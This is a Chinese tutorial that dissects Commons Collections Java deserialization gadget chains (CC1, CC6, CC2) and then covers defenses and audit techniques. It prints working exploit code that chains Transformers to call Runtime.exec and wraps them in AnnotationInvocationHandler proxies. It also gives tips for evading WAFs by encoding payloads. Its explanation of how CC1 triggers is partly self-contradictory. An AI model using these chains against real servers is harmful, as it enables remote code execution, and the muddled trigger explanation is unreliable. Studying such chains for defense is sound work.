1. 项目概述:为什么CommonsCollections是Java安全的“阿喀琉斯之踵”
如果你做过Java安全研究或者渗透测试,肯定对“反序列化漏洞”这个词不陌生。而在Java反序列化的漏洞宇宙里,Apache Commons Collections这个库,绝对是一个绕不开的“明星”靶场。它不是一个直接的安全漏洞,而是一个充满了危险“工具”的武器库。当这些工具被不当的序列化/反序列化机制组合起来时,就形成了一条条直通系统核心的“利用链”(Gadget Chain)。今天,我们不谈宽泛的概念,就深入骨髓地剖析一条经典的CommonsCollections利用链,看看攻击者是如何像玩多米诺骨牌一样,通过一个看似无害的序列化数据,最终在你的服务器上执行任意命令的。
简单来说,Java反序列化漏洞的根源在于:Java允许将对象的状态(数据)转换成字节流(序列化)进行存储或传输,并能从字节流中恢复出对象(反序列化)。问题在于,反序列化过程会自动调用对象的readObject()方法。如果攻击者能够控制反序列化的数据流,并精心构造一个由多个类实例组成的“链条”,使得在反序列化过程中,这些类的readObject()、equals()、compare()、hashCode()或getter/setter等方法被依次调用,最终触发危险操作(如反射调用Runtime.exec()),就完成了攻击。CommonsCollections库之所以“危险”,是因为它提供了大量现成的、实现了Serializable接口且行为可被“嫁接”的类,比如Transformer、Comparator,它们就像乐高积木,能被巧妙地拼接成攻击链条。
理解这条链,不仅是为了复现一个漏洞。它能帮你从根本上建立Java应用安全的“条件反射”:看到ObjectInputStream.readObject()就要警惕,审查第三方库时要重点关照那些实现了Serializable且包含动态方法调用的类。这对于开发者、安全工程师和架构师都至关重要。接下来,我们将从环境搭建开始,一步步拆解这条链的每一个齿轮是如何咬合的。
2. 环境准备与核心概念解析
在动手之前,我们需要一个可控的实验环境。我建议使用Maven来管理依赖,这样能清晰地控制库的版本,这也是理解漏洞版本约束的关键。
2.1 实验环境搭建
创建一个简单的Maven项目,在pom.xml中引入关键依赖。我们以经典的commons-collections:3.2.1版本为例,这是漏洞最“丰富”的版本之一。
<dependencies> <!-- 漏洞库,核心分析目标 --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <!-- 用于序列化/反序列化操作 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.12.0</version> </dependency> </dependencies>注意:务必确认你的Java运行环境。由于高版本Java(如8u121之后)引入了反序列化过滤器等安全机制,可能会拦截我们的攻击链。为了实验的纯粹性,建议使用Java 8u121之前的版本,或者在测试时通过JVM参数暂时禁用相关安全特性(仅限实验环境!)。例如,可以添加
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true和-Dcom.sun.jndi.ldap.object.trustURLCodebase=true来应对后续可能涉及的JNDI利用,但本次分析不依赖于此。
2.2 必须吃透的三个核心概念
这条利用链的构建,高度依赖于CommonsCollections库中的几个特定接口和类的特性。如果你对它们不熟,后面看代码会像看天书。
1. Transformer接口与它的“危险”实现们org.apache.commons.collections.Transformer是一个函数式接口,只有一个方法:Object transform(Object input)。它的设计本意是进行数据转换。但有几个实现类极其危险:
ConstantTransformer: 无论输入什么,都返回一个预设的常量对象。它是链条的“启动器”或“桥接器”。InvokerTransformer: 这是核心中的核心。它利用反射,可以调用任意对象的任意方法。其构造方法需要方法名、参数类型数组和参数值数组。在反序列化后,当它的transform方法被调用时,就会执行反射调用。// 示例:构造一个调用Runtime.exec(“calc”)的Transformer Transformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); // 但这需要我们先有一个Runtime对象传入,如何获得?这引出了链条的巧妙之处。ChainedTransformer: 将多个Transformer串联起来,前一个的输出作为后一个的输入。用于组合多个步骤。
2. Map接口的“懒惰”装饰者:LazyMapLazyMap.decorate(Map map, Transformer factory)方法会返回一个LazyMap装饰对象。它的“懒惰”体现在:当你通过get(Object key)方法获取一个不存在的键值时,它不会返回null,而是会使用关联的Transformer去“转换”这个键,并将结果作为值存入Map,然后返回。这个特性是将“数据访问”行为转化为“代码执行”行为的关键桥梁。攻击链会想方设法在反序列化过程中触发对特定键的get操作。
3. 注解动态代理与AnnotationInvocationHandler这是早期CommonsCollections1链(即ysoserial中的CommonsCollections1payload)的关键入口点。sun.reflect.annotation.AnnotationInvocationHandler(以下简称AIH)是JDK内部类,实现了InvocationHandler接口和Serializable接口。它在反序列化的readObject方法中,会对其持有的memberValues(一个Map)调用entrySet()等方法。如果我们能让memberValues是一个LazyMap,并且其关联的Transformer是我们的恶意链,那么当代理对象被反序列化时,就会触发整个链条。
理解这三个概念的关系:我们最终需要让一个可序列化的对象的反序列化过程(readObject)去触发一个Map的get操作,这个get操作由一个LazyMap执行,而LazyMap又会去调用一个Transformer链,这个链的末端是一个InvokerTransformer,它通过反射执行了Runtime.exec()。
3. 利用链的逐层拆解与手工构造
我们以最经典的CommonsCollections1链(对应ysoserial的CC1)为例,进行手工构造。这条链在commons-collections:3.2.1及以下版本通用,完美诠释了如何将上述“积木”拼接起来。
3.1 第一步:构造终极攻击载荷 - Transformer链
我们的目标是执行Runtime.getRuntime().exec("calc.exe")。但直接使用InvokerTransformer调用exec方法需要一个Runtime实例作为输入对象。我们无法直接序列化Runtime对象。怎么办?答案是:通过反射链来获取。
我们可以构造一个ChainedTransformer,按顺序执行以下反射调用:
- 获取
Runtime类:Class.forName("java.lang.Runtime") - 获取
getRuntime方法:clazz.getMethod("getRuntime") - 调用
getRuntime方法(静态方法,invoke时传入null):method.invoke(null),获得Runtime实例。 - 获取
exec方法:runtimeClazz.getMethod("exec", String.class) - 调用
exec方法:method.invoke(runtimeInstance, "calc.exe")
对应到Transformer的构造:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), // 第一步:返回Runtime.class对象 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // 第二步:获取getMethod方法对象 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 第三步:调用getRuntime,获得Runtime实例 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 第四步:调用exec方法 }; Transformer transformerChain = new ChainedTransformer(transformers);现在,只要调用transformerChain.transform(“任意输入”),计算器就会被弹出。但我们需要的是在反序列化时自动触发它。
3.2 第二步:将攻击链装入“触发器” - LazyMap
我们需要一个在反序列化过程中会被自动调用的get方法。LazyMap的get方法符合条件,但我们需要一个“诱饵”。
Map innerMap = new HashMap(); // 一个普通的HashMap Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 用我们的攻击链装饰它现在,lazyMap就是一个“陷阱”。任何对不存在的键(比如"foo")的get操作,都会触发transformerChain.transform(“foo”),从而执行命令。但问题来了:反序列化一个HashMap或LazyMap时,其readObject方法并不会去调用get。我们需要一个在反序列化时会自动遍历或访问其Map成员的类。
3.3 第三步:寻找反序列化入口点 - AnnotationInvocationHandler
这就是AnnotationInvocationHandler登场的时候。它的readObject方法简化后逻辑如下:
private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); // 关键:遍历memberValues这个Map的entrySet for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Object value = memberValue.getValue(); // ... 一些检查和处理 } }memberValues.entrySet()会触发Map的内部操作。如果我们能让memberValues就是我们的lazyMap,并且在遍历时触发get操作,链条就通了。但entrySet()本身不直接调用get。这里有一个精妙的技巧:LazyMap并没有重写entrySet()方法,它继承自AbstractMap。遍历entrySet()时,会使用Map.Entry的getValue()方法。如果我们能确保在getValue()时,Map认为该键不存在,就会触发LazyMap.get()。
如何做到?我们需要构造一个特殊的AnnotationInvocationHandler实例,其memberValues是一个LazyMap,并且这个LazyMap在序列化时,包含一个键,其对应的值在反序列化后的上下文中会“失效”或触发get。更常见的做法是利用动态代理。
AnnotationInvocationHandler是一个InvocationHandler。我们可以用它来代理一个Map接口。当代理对象的任何方法被调用时,都会走到AnnotationInvocationHandler.invoke()方法。在invoke方法中,它会检查调用的方法名,如果是Map接口的某些方法(如get,put,entrySet等),它会转发给memberValues这个实际Map去处理。
攻击链构造的关键一步是:
- 先用
AnnotationInvocationHandler代理我们的lazyMap,生成一个代理对象proxyMap。 - 然后,再创建一个新的
AnnotationInvocationHandler实例(记为aih),将其memberValues设置为这个proxyMap。 - 序列化这个
aih对象。
在反序列化时:
aih的readObject被调用。- 它尝试遍历
memberValues.entrySet()。此时memberValues是proxyMap(一个代理对象)。 - 调用
proxyMap.entrySet(),这会触发AnnotationInvocationHandler.invoke()。 - 在
invoke方法中,它将entrySet()调用转发给实际的memberValues,也就是最初的lazyMap。 lazyMap.entrySet()被调用。在遍历其内部条目时(可能由于我们预先放入的一个特殊键值对),会间接触发get操作。lazyMap.get(key)发现键不存在(或值需要转换),触发绑定的transformerChain。- 命令执行。
具体的、可运行的构造代码涉及JDK内部类的反射调用,因为AnnotationInvocationHandler是sun包下的类,不能直接new。这里给出核心片段:
// 1. 构造Transformer链 (同上,略) Transformer transformerChain = ...; // 2. 构造LazyMap Map innerMap = new HashMap(); // 先放入一个“诱饵”键值对。这里放一个任意值,关键在于后续触发。 innerMap.put("foo", "bar"); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 3. 获取AnnotationInvocationHandler的构造方法并创建实例,其type设置为Override.class(任意注解),memberValues设置为lazyMap Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 第一个handler,其memberValues是lazyMap InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 4. 用这个handler创建Map接口的代理对象 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler ); // 5. 再次创建AnnotationInvocationHandler实例,这次其memberValues设置为代理对象proxyMap InvocationHandler aih = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); // 6. 序列化aih对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(aih); oos.close(); byte[] serializedData = baos.toByteArray(); // 7. 反序列化触发(在另一个进程或不同上下文中) ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData)); Object obj = ois.readObject(); // 此处触发命令执行实操心得:在实际构造时,版本适配是个大坑。不同JDK版本(如8u66, 8u71)对
AnnotationInvocationHandler的readObject和invoke逻辑有细微调整,可能导致链条失效。例如,某些版本在readObject中加强了对注解成员值的类型检查。因此,网上公开的PoC代码可能需要根据目标环境进行微调。这也是为什么渗透测试中,信息收集(包括JDK版本)如此重要。
4. 从CC1到CC6:利用链的演化与绕过
随着commons-collections库的升级和JDK的安全加固,经典的CC1链在较高版本的JDK或commons-collections 3.2.2及以上版本中可能失效。安全研究人员因此发掘了更多的“入口点”和“桥接点”,形成了CC2, CC3, CC4, CC5, CC6, CC7等众多变种。它们核心的Transformer利用部分可能相似,但触发反序列化的“第一张牌”和连接Transformer的“桥梁”不同。
4.1 CommonsCollections6 (CC6) 链解析
CC6链是一个非常重要的变种,它不依赖于AnnotationInvocationHandler这个JDK内部类,因此兼容性更好。它的核心入口点是java.util.HashSet或java.util.HashMap的readObject方法,通过触发hashCode()计算来调用LazyMap.get()。
核心思路如下:
- 寻找可触发
hashCode()的入口:HashMap在反序列化readObject时,会调用putVal方法重算哈希,进而对每个键调用hashCode()。如果我们能让键是一个TiedMapEntry对象,事情就变得有趣了。 - 引入TiedMapEntry:
org.apache.commons.collections.keyvalue.TiedMapEntry这个类,其hashCode()方法的实现是:return getValue().hashCode()。而它的getValue()方法实现是:return this.map.get(this.key)。 - 连接LazyMap:如果
TiedMapEntry中的map是一个LazyMap,key是一个不存在的键,那么调用hashCode()->getValue()->map.get(key),就会触发LazyMap的Transformer链! - 构造闭环:我们需要让
HashMap的键包含这个TiedMapEntry。同时,为了在反序列化时能顺利触发,还需要处理一些细节,比如避免在序列化前就触发hashCode计算(可以通过在HashMap中先放入一个“占位符”,再通过反射替换为TiedMapEntry来实现)。
简化版的CC6链构造逻辑:
// 1. 构造Transformer链 (同上,略) Transformer transformerChain = ...; // 2. 构造LazyMap,注意初始化为空,不要提前触发 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 3. 创建TiedMapEntry,将其与LazyMap绑定 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // “foo”是触发get的key // 4. 创建HashMap,并放入entry作为key Map hashMap = new HashMap(); hashMap.put(entry, "bar"); // 这里put操作会立即触发一次hashCode(),从而触发命令!所以不能直接这样写。 // 正确的构造需要“惰性”设置:先创建一个无害的HashMap和TiedMapEntry,序列化后再通过反射将TiedMapEntry内部的map替换成恶意的LazyMap。 // 或者,利用HashSet,其底层是HashMap,并且有类似的触发点。CC6链的巧妙之处在于,它利用了Java集合框架中非常常见的hashCode()和equals()方法作为跳板,这些方法在反序列化过程中被广泛调用,因此找到了一个更通用的入口点。
4.2 CommonsCollections2, 4, 8 与高版本限制
在commons-collections 4.0版本中,InvokerTransformer和InstantiateTransformer等危险类仍然是可序列化的,因此CC1、CC6等链的变体依然存在(如CC2、CC4)。这些链通常使用了新的入口类,如java.util.PriorityQueue(其readObject会排序,调用Comparator.compare())或org.apache.commons.collections4.bag.TreeBag。
以PriorityQueue为例的CC2链概览:
PriorityQueue.readObject()会调用heapify()。heapify()->siftDown()->siftDownUsingComparator()。- 如果队列使用了
TransformingComparator,则会调用其compare()方法。 TransformingComparator.compare()会调用其内部Transformer的transform方法。- 将
Transformer设置为恶意的ChainedTransformer,末端为InvokerTransformer调用TemplatesImpl.newTransformer()(用于加载恶意字节码),最终实现命令执行。
然而,在commons-collections 4.1及以上版本,情况发生了根本变化。查看源码你会发现,InvokerTransformer和InstantiateTransformer类不再实现Serializable接口。这意味着,即使你能构造出完整的对象图,在序列化时这些关键类根本无法被写入字节流。这相当于从根源上废掉了依赖它们的经典攻击链。
注意事项:这提醒我们,简单的版本升级(从3.x到4.1+)可以有效防御一大批已知的、依赖于特定危险类的反序列化利用链。但安全是动态的,这并不代表高版本绝对安全。攻击者会转向寻找其他实现了
Serializable且具有危险行为的类,或者组合多个库的类来构造新的链(即“跨库”Gadget Chain)。
5. 防御策略与实战排查指南
理解了攻击原理,防御就有了方向。防御Java反序列化漏洞是一个多层次的工作。
5.1 代码层防御
根本方法:避免反序列化不可信数据
- 白名单校验:如果业务必须使用反序列化,应严格使用白名单机制。使用
ObjectInputFilter(Java 9+)或第三方库如SerialKiller、ikkisoft/SerialKiller,在创建ObjectInputStream时设置只允许反序列化已知安全的类。
// Java 9+ 示例 ObjectInputStream ois = new ObjectInputStream(bis); ois.setObjectInputFilter(MyClassFilter::check);- 替换序列化方案:考虑使用更安全的序列化协议,如JSON(Jackson, Gson)、Protocol Buffers、Kryo(需正确配置)等。这些协议通常不直接支持任意类的实例化与方法执行。
- 白名单校验:如果业务必须使用反序列化,应严格使用白名单机制。使用
升级与修复
- 升级CommonsCollections:将Apache Commons Collections库升级到最新安全版本(如3.2.2, 4.4+)。注意,3.2.2版本通过“拉黑”危险Transformer类来修复,而4.1+版本通过使它们不可序列化来修复。
- 升级JDK:使用最新的JDK长期支持版本,并关注其安全更新。高版本JDK提供了
JEP 290等反序列化过滤器机制。
5.2 架构与运维层防御
- 最小化依赖:在项目中定期使用
mvn dependency:tree或gradle dependencies检查依赖,移除不必要的库。特别是commons-collections这样的通用库,如果非必需,可以考虑排除或替换。 - 应用安全防护:部署WAF(Web应用防火墙)或RASP(运行时应用自我保护)设备/agent。它们可以检测和阻断恶意的序列化数据包。
- 网络隔离:将存在反序列化接口的服务(如RMI、JMX、HTTP with Java Serialization)部署在内网,严格限制外部访问。
5.3 漏洞挖掘与排查实战技巧
当你负责代码审计或应急响应时,如何快速定位潜在的反序列化漏洞点?
入口点搜索:在全网代码中搜索以下关键词:
ObjectInputStreamreadObject()readUnshared()XMLDecoder(这也是一个危险的反序列化入口)XStream.fromXML()(XStream反序列化)JSON.parseObject()或JSON.parse()(Fastjson等库,需注意其AutoType特性)RMI、JMX相关注册与调用代码HttpInvoker、Hessian、Burlap等基于Java序列化的RPC框架
依赖组件分析:检查项目的
pom.xml或build.gradle,重点关注:commons-collections(版本是否 < 3.2.2 或 4.1?)commons-beanutilscommons-fileuploadgroovyspring-aop(早期版本存在可利用链)fastjson(版本是否较低且开启了AutoType?) 使用工具如OWASP Dependency-Check或Sonatype DepShield进行已知漏洞扫描。
黑盒测试:使用
ysoserial或marshalsec等工具生成各种Gadget Chain的payload,对疑似接口进行模糊测试。务必在授权和隔离环境进行!代码审计工具辅助:使用静态代码分析工具(SAST),如
Find Security Bugs、SpotBugs、SonarQube的 security 插件,它们通常有检测不安全的反序列化的规则。
6. 常见问题与深度排查实录
在实际研究和调试利用链的过程中,你会遇到各种各样的问题。这里记录几个我踩过的坑和解决思路。
问题1:Payload生成成功,但反序列化时没有任何反应,也没有错误日志。
- 可能原因1:JDK版本过高。高版本JDK(如8u121之后)默认限制了通过JNDI注入远程类加载的行为(
com.sun.jndi.rmi.object.trustURLCodebase=false),而一些利用链(如CC1的某些变体或结合JNDI的链)依赖于此。解决方案:确认你的利用链不依赖远程类加载。对于本地Gadget链(如本文分析的CC1、CC6),JDK版本影响主要在于AnnotationInvocationHandler的内部逻辑变化,可以尝试切换JDK版本(如8u66)或使用不依赖AIH的链(如CC6)。 - 可能原因2:命令执行被拦截或环境问题。
Runtime.exec(“calc”)在无图形界面的Linux服务器上显然不会弹窗。解决方案:使用可验证的命令,如ping命令(观察网络流量)、touch /tmp/test(检查文件是否创建)、或者写入Web目录一个文件。在构造Payload时,考虑跨平台兼容性,例如执行curl或wget。 - 可能原因3:利用链在目标环境中不完整。目标应用可能缺少必要的依赖类(某个特定版本的commons-collections jar包)。解决方案:仔细确认目标ClassPath。使用
URLClassLoader或类似技巧加载依赖的链在实战中较难,通常需要目标应用本身就有完整依赖。
问题2:序列化时抛出java.io.NotSerializableException异常。
- 可能原因:你构造的对象图中,某个关键对象没有实现
Serializable接口。在CC链中,InvokerTransformer在commons-collections 4.1+版本就是如此。解决方案:检查每个你手动实例化并放入对象图的类是否都实现了Serializable。使用instanceof Serializable进行判断。如果必须使用不可序列化的类,需要寻找替代品或利用writeReplace/readResolve方法(这更复杂)。
问题3:使用ysoserial生成的Payload,在本地测试成功,但打目标失败。
- 可能原因1:ClassLoader差异。
ysoserial生成的Payload中的类,是使用生成Payload时的ClassLoader(通常是系统ClassLoader)解析的。如果目标应用使用自定义ClassLoader(如Web容器),且没有将commons-collections等库放在父加载器路径,可能导致类找不到(ClassNotFoundException)或类不兼容。解决方案:确保你的测试环境和目标环境的类加载路径一致。对于Web应用,通常需要将依赖包放在WEB-INF/lib下。 - 可能原因2:安全管理器(SecurityManager)。目标应用可能启用了Java安全管理器,并配置了严格的策略文件,禁止执行外部命令或反射调用。解决方案:检查是否有
SecurityManager。尝试使用不涉及Runtime.exec的利用链,如文件读写、DNS请求等,进行旁路验证。 - 可能原因3:WAF或网络设备拦截。Payload作为HTTP参数或Body传输时,可能被WAF识别并阻断。解决方案:对Payload进行编码、加密、分块等混淆处理。但注意,反序列化前的解码操作需要目标应用支持。
问题4:如何调试复杂的反序列化利用链?
- 工具:使用IDE(IntelliJ IDEA或Eclipse)的远程调试功能,连接到运行中的测试应用。
- 技巧:
- 关键断点:在
ObjectInputStream.readObject()、各个Gadget类的readObject()、transform()、invoke()、get()、compare()等方法上打上断点。 - 栈帧分析:当断点命中时,仔细观察调用栈(Call Stack)。你可以清晰地看到反序列化过程是如何从一个
readObject跳转到另一个方法,最终抵达危险函数的。这是理解利用链最直观的方式。 - 变量观察:查看关键对象的属性值,特别是
Transformer数组的内容、Map中的键值等,确认它们是否按预期构造。 - 条件断点:如果断点太频繁,可以设置条件断点,例如只在某个特定对象被处理时才暂停。
- 关键断点:在
研究Java反序列化漏洞,尤其是像CommonsCollections这样的经典案例,是一个深入理解Java语言特性、序列化机制和框架设计的绝佳过程。它强迫你去阅读JDK和第三方库的源码,去思考对象之间的交互与组合。这种能力,无论是对于安全研究员挖掘漏洞,还是对于开发人员编写更健壮的代码,都是无比宝贵的财富。防御永远建立在深刻理解攻击的基础之上。希望这篇近万字的剖析,能帮你打下坚实的基础。